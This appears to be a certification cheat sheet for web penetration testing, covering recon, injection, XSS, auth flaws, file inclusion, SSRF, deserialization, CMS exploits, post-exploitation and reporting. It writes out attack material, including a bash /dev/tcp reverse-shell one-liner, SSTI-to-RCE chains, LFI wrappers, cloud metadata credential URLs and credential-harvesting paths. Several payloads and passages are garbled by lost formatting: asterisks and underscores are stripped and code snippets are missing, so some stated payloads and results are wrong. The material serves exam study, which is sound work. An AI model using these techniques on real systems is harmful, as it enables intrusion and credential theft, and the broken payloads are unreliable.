HTB CWES cheat sheet
HTB CWES · Keep the key ideas within reach.
Web Application Reconnaissance and Enumeration
Passive first: certificate transparency (crt.sh), DNS history, and Wayback/Common Crawl reveal subdomains and old endpoints without touching the target.
Virtual-host discovery differs from subdomain discovery: send the same IP with varying Host headers and compare response length, status, and body hash.
Directory brute-forcing rules: 301/302 to a trailing slash implies a directory; 403 means exists-but-forbidden, worth a bypass attempt; 200 with identical body length for every hit signals a soft-404 catch-all.
Extension fuzzing follows technology: .php/.phtml for PHP, .aspx/.ashx for IIS, .jsp/.do for Java; confirm via Server, X-Powered-By, cookie names (PHPSESSID, JSESSIONID, ASP.NET_SessionId).
robots.txt, sitemap.xml, .well-known/, and /.git/HEAD are high-yield; a retrievable .git directory allows full source recovery via git-dumper.
Parameter discovery: Arjun or ffuf with a wordlist on GET/POST/JSON bodies; hidden parameters frequently gate debug, admin, or redirect logic.
API recon: /swagger.json, /openapi.json, /api/v1, /graphql with an introspection query; GraphQL introspection enabled exposes the full schema and mutation surface.
Fingerprint versions, then map to CVEs; a version banner alone is not proof - confirm behavior before reporting.
Injection Vulnerabilities (SQLi, Command Injection, SSTI, LDAP/XPath)
SQLi classification: in-band (UNION, error-based), blind boolean (AND 1=1 vs AND 1=2 changes response), blind time-based (SLEEP(5), pg_sleep(5), WAITFOR DELAY); UNION requires matching column count and compatible types.
Column count discovery: ORDER BY n increments until error, or UNION SELECT NULL,NULL,... until the response normalizes.
DBMS fingerprinting by syntax: MySQL (@@version, SLEEP), MSSQL (@@version, WAITFOR DELAY), Oracle (v$version, dual table, no LIMIT), PostgreSQL (version(), pg_sleep, CAST).
WAF bypass primitives: inline comments (/!50000SELECT/), case variation, URL/hex encoding, whitespace alternatives (%09, %0a, /**/), and equivalent operators (|| for OR in some DBMS).
Command injection separators: ; | || & && ` $() and newline; blind confirmation via time delay (ping -c 5 127.0.0.1) or out-of-band DNS/HTTP callback.
SSTI detection: inject ${77}, {{77}}, <%= 77 %>, #{77}; a rendered 49 confirms evaluation. Engine identification follows the escape behavior of {{7*'7'}} (49 in Twig, 7777777 in Jinja2).
SSTI to RCE in Jinja2 uses the MRO chain: ''.class.mro[1].subclasses() to reach subprocess.Popen; Twig uses _self.env.registerUndefinedFilterCallback plus getFilter.
LDAP injection: user input like )(uid=))(|(uid=* manipulates filter logic; test with * and )( to detect filter breakage. XPath injection uses ' or '1'='1 to force true predicates.
Cross-Site Scripting and Client-Side Attacks (XSS, CSRF, DOM clobbering, prototype pollution)
XSS context determines payload: HTML body needs ' or \u003c; URL context needs javascript: or a handler.
CSP evaluation: 'unsafe-inline' permits inline script, 'unsafe-eval' permits eval/Function, a missing object-src or base-uri allows gadget abuse; JSONP endpoints and angular libraries can bypass nonce-based policies.
HttpOnly blocks document.cookie theft but not in-page actions; a missing SameSite attribute defaults to Lax in modern browsers, which blocks cross-site POST cookie sending.
CSRF defense requires a token not inferable by the attacker plus SameSite cookies; checking Origin/Referer is a valid secondary control. A token validated only on some endpoints is bypassable.
DOM clobbering: an element with id/name becomes a global variable;
makes x.y reachable, overriding script variables such as config or defaultView.Prototype pollution via proto, constructor.prototype, or merge/recursive-extend sinks; detectable client-side with a URL fragment such as ?proto[x]=1 and observing Object.prototype.x.
Stored XSS in admin panels is a privilege-escalation primitive: capture the admin session, then use it for account takeover or CSRF-chained actions.
DOM XSS sources: location.hash, location.search, document.referrer, postMessage; sinks: innerHTML, document.write, eval, setTimeout(string), jQuery $().
Authentication, Session, and Access Control Flaws (JWT, OAuth, IDOR, privilege escalation)
JWT attacks: alg:none with signature stripped; algorithm confusion (RS256 to HS256) using the public key as HMAC secret; weak HS256 secret cracked offline with hashcat mode 16500; kid path traversal or SQLi injection points.
JWT verification checklist: reject tokens whose alg differs from expectation, enforce signature verification, validate iss/aud/exp, and never trust claims like role or admin without server-side lookup.
OAuth flaws: missing state parameter enables login CSRF; redirect_uri with loose matching (prefix, path traversal, subdomain) leaks codes; implicit flow exposes tokens in the fragment; missing PKCE on public clients.
IDOR testing: swap numeric IDs, UUIDs harvested from other responses, and parameters in JSON bodies; compare authorization across two accounts of equal privilege.
Access control categories: vertical (user reaches admin function), horizontal (user A reaches user B data), and context-dependent (state machine steps skipped, e.g., payment confirmation without payment).
Password reset logic flaws: host header injection in reset links, predictable tokens, token not invalidated after use, and reset by email change without re-authentication.
Session fixation: if the session identifier does not rotate on login, an attacker-supplied cookie becomes authenticated; test by setting a known cookie before authenticating.
Authentication bypass primitives: default credentials, response manipulation (200 on failed login), forced browsing to post-auth pages, and array/type confusion in JSON (password as object or array).
File Inclusion, Upload, and Path Traversal Exploitation
LFI vs RFI: LFI includes local files and can be escalated via log poisoning (User-Agent into access.log), /proc/self/environ, PHP session files, or php://filter/convert.base64-encode/resource=index.php for source disclosure.
PHP wrappers: php://filter for source read, php://input and data:// for code when allow_url_include is on, zip:// and phar:// for archive-based execution.
Path traversal encodings: ../, ..%2f, %2e%2e%2f, double-encoded %252e%252e%252f, and backslash variants for Windows; test whether the app strips once or repeatedly.
Absolute path shortcuts: /etc/passwd, C:\Windows\win.ini; on Linux, /proc/self/cwd and /proc/self/cmdline reveal working directory and startup command.
Upload bypass ladder: extension blacklist bypass (.php5, .phtml, .phar, .pHp), content-type and magic-byte spoofing (GIF89a prefix), .htaccess upload to map a custom extension to PHP, and double extension (file.php.jpg) where Apache misconfiguration allows it.
Filename traversal on upload: filename=../../shell.php writes outside the upload directory; null byte truncation is largely dead on modern PHP but persists in older or custom parsers.
Post-upload execution requires locating the file: guess /uploads/, read the response path, or trigger directory listing; without execution, an uploaded SVG or HTML file still yields stored XSS.
Mitigation logic to cite in reports: canonicalize then compare against an allowlist base directory, use random stored filenames, store outside webroot, and disable execution in the upload directory.
Server-Side Request Forgery and Deserialization Vulnerabilities
SSRF targets: 127.0.0.1, localhost, 0.0.0.0, [::1], and decimal/octal/hex IP forms (2130706433, 0177.0.0.1, 0x7f000001) to bypass naive blocklists; DNS rebinding defeats resolve-then-check designs.
Cloud metadata endpoints: 169.254.169.254/latest/meta-data/iam/security-credentials/ on AWS, metadata.google.internal with Metadata-Flavor: Google on GCP, and 169.254.169.254/metadata/identity on Azure.
SSRF protocol abuse: gopher:// to craft raw TCP payloads (Redis, SMTP, FastCGI), file:// for local read, dict:// for service probing.
Blind SSRF confirmation uses an out-of-band listener (Burp Collaborator or interactsh); an internal-only response difference (timing, error text) also confirms reachability.
Java deserialization magic bytes: AC ED 00 05 (hex aced0005) and rO0AB base64; ysoserial generates gadget chains, and the CommonsCollections chain depends on the library version present.
PHP deserialization: unserialize on user input with gadget chains in frameworks (Laravel, Monolog, Guzzle); PHP object injection is often reached through a cookie or a phar:// metadata trigger.
Python pickle and .NET (BinaryFormatter, ViewState without MAC) are equivalent sinks; .NET ViewState forgery via known machineKey enables RCE with ysoserial.net.
Mitigation statements: allowlist outbound destinations, block link-local ranges at the network layer, avoid native deserialization of untrusted data, and enforce integrity signing.
Web Framework and CMS-Specific Exploitation
WordPress enumeration: /wp-json/wp/v2/users exposes usernames, ?author=1 redirects to the author slug, and /wp-content/plugins//readme.txt gives version; vulnerable plugin versions map to public CVEs.
WordPress admin compromise leads to theme/plugin editor PHP execution; if the editor is disabled, upload a malicious plugin zip via the admin panel.
Drupal: /CHANGELOG.txt for version, ?q=user/1 for user enumeration; Drupalgeddon2 (CVE-2018-7600) abuses Form API parameter injection (#post_render) for RCE.
Joomla: /administrator/, /configuration.php~ backup files, and the ?option=com_ component parameter for component enumeration.
Apache Struts2: OGNL injection in the Content-Type or parameters; S2-045 and S2-057 payloads execute commands via the OGNL expression context.
Spring: /actuator/env, /actuator/heapdump, and /actuator/gateway/routes for Spring4Shell-adjacent exposure; heapdump often leaks credentials and session material.
Tomcat: /manager/html with default or weak credentials yields WAR deployment; the AJP Ghostcat (CVE-2020-1938) reads config files when the AJP connector is exposed.
Laravel: APP_KEY leakage enables cookie and signed-URL forgery; debug mode (APP_DEBUG=true) discloses stack traces and environment variables.
Post-Exploitation, Pivoting, and Web Shell/Command-and-Control Tradecraft
Web shell minimalism: a one-liner such as is detectable by signature; base64 or XOR-obfuscated variants and parameterless POST bodies reduce detection surface.
Reverse shell selection depends on egress: bash -i >& /dev/tcp/IP/PORT 0>&1, nc -e, socat, or PowerShell IEX for Windows; use ports 80/443 when egress filtering is present.
Linux privesc enumeration: sudo -l, SUID binaries (find / -perm -4000), cron jobs writable by the current user, capabilities (getcap -r /), and kernel version against known exploits.
Windows privesc: whoami /priv for SeImpersonate (Potato family), unquoted service paths, AlwaysInstallElevated, and stored credentials via winpeek or reg query.
Pivoting with SSH: -L local forward, -R remote forward, -D SOCKS proxy; combine with proxychains to reach internal hosts from tooling that lacks native proxy support.
Chisel and Ligolo-ng create tunnels without SSH; run the server on the attacker host and the client on the compromised host, then route the internal subnet through the tunnel interface.
Credential harvesting on Linux: /etc/shadow if readable, ~/.bash_history, config files with DB passwords, and SSH private keys in home directories.
Cleanup and stealth: remove uploaded shells and tooling, restore modified files, and record every action with timestamps for the report; persistence without authorization scope is out of bounds.
Professional Reporting and Remediation Guidance
Finding structure: title, severity, affected asset and parameter, prerequisites, reproduction steps, evidence (request/response), business impact, and remediation - each finding must be reproducible by a third party.
CVSS v3.1 base score components: Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, then Confidentiality/Integrity/Availability; a scope change raises the score materially.
Severity mapping: Critical typically means unauthenticated RCE or full data compromise; High means authenticated RCE or sensitive data exposure; align ratings with the client's stated risk model and justify deviations.
Remediation must be specific and testable: name the API or configuration (e.g., parameterized queries via PDO prepared statements, Content-Security-Policy directive values), not 'sanitize input'.
Defense in depth framing: root cause fix first, then compensating controls (WAF rules, network segmentation, least-privilege service accounts) as secondary layers.
Evidence hygiene: redact real user PII and secrets in screenshots, store raw HTTP traffic in an appendix, and keep a timestamped activity log aligned with the test window.
Retest criteria: state the exact condition that proves the fix (e.g., payload returns 400 and no evaluation occurs) so the client can verify closure independently.
Executive summary separates technical detail from business risk: one paragraph on what was tested, the top three risks, and the overall posture, written for a non-technical reader.